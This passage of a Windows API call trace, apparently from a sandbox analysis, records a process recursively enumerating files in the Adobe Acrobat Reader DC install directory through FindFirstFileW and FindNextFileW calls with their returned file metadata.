ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0244.377] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.377] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 1 [0244.377] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 0 [0244.377] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0244.377] GetProcessHeap () returned 0xc10000 [0244.377] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0244.377] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1 [0244.377] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb54228e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbff7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdrCEF.exe", cAlternateFileName="")) returned 1 [0244.378] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdbc431b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x13279f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdrServicesUpdater.exe", cAlternateFileName="RDRSER~1.EXE")) returned 1 [0244.378] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="snapshot_blob.bin", cAlternateFileName="SNAPSH~1.BIN")) returned 1 [0244.378] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda576987, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x361f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1 [0244.378] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda576987, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x361f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 0 [0244.378] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0244.378] GetProcessHeap () returned 0xc10000 [0244.378] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0244.378] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1abe0524, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x134b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1 [0244.378] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf33f4ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x16dc3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.dll", cAlternateFileName="")) returned 1 [0244.378] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3b1bc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x21fdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.exe", cAlternateFileName="")) returned 1 [0244.379] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3d7e46, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Info.exe", cAlternateFileName="ACRORD~1.EXE")) returned 1 [0244.379] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf66062a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xe07ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Res.dll", cAlternateFileName="ACRORD~1.DLL")) returned 1 [0244.379] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec648c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroSup64.dll", cAlternateFileName="ACROSU~1.DLL")) returned 1 [0244.379] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf6d2df0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xaff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroTextExtractor.exe", cAlternateFileName="ACROTE~1.EXE")) returned 1 [0244.379] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x21df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADelRCP.exe", cAlternateFileName="")) returned 1 [0244.379] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37bc3c75, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x711, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.Reader.Dependencies.manifest", cAlternateFileName="ADOBER~1.MAN")) returned 1 [0244.379] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a15668, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xd87f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.exe", cAlternateFileName="ADOBEC~1.EXE")) returned 1 [0244.379] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea0236a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7e1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeLinguistic.dll", cAlternateFileName="ADOBEL~1.DLL")) returned 1 [0244.380] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1f95cdaa, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x45650, dwReserved0=0x0, dwReserved1=0x0, cFileName="adoberfp.dll", cAlternateFileName="")) returned 1 [0244.380] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b58fe2e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x4ae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeXMP.dll", cAlternateFileName="")) returned 1 [0244.380] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf876737, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4e5df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGM.dll", cAlternateFileName="")) returned 1 [0244.380] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGMGPUOptIn.ini", cAlternateFileName="AGMGPU~1.INI")) returned 1 [0244.380] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1ab2191d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x426b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ahclient.dll", cAlternateFileName="")) returned 1 [0244.380] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda8e3fa2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x116c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIDE.dll", cAlternateFileName="")) returned 1 [0244.380] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIR", cAlternateFileName="")) returned 1 [0244.380] GetProcessHeap () returned 0xc10000 [0244.380] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0244.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0244.398] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.399] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1 [0244.399] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 0 [0244.399] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0244.399] GetProcessHeap () returned 0xc10000 [0244.399] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0244.400] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x152a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="arh.exe", cAlternateFileName="")) returned 1 [0244.400] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdecd6f88, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x309f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXE8SharedExpat.dll", cAlternateFileName="AXE8SH~1.DLL")) returned 1 [0244.400] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xded23451, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x989f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXSLE.dll", cAlternateFileName="")) returned 1 [0244.400] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf89c98d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1d1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIB.dll", cAlternateFileName="")) returned 1 [0244.400] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf89c98d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x269f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBUtils.dll", cAlternateFileName="")) returned 1 [0244.400] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Browser", cAlternateFileName="")) returned 1 [0244.401] GetProcessHeap () returned 0xc10000 [0244.401] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0244.401] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0244.403] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.403] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1 [0244.403] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 1 [0244.403] GetProcessHeap () returned 0xc10000 [0244.403] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0244.404] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0244.418] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.418] FindNextFileW (in: 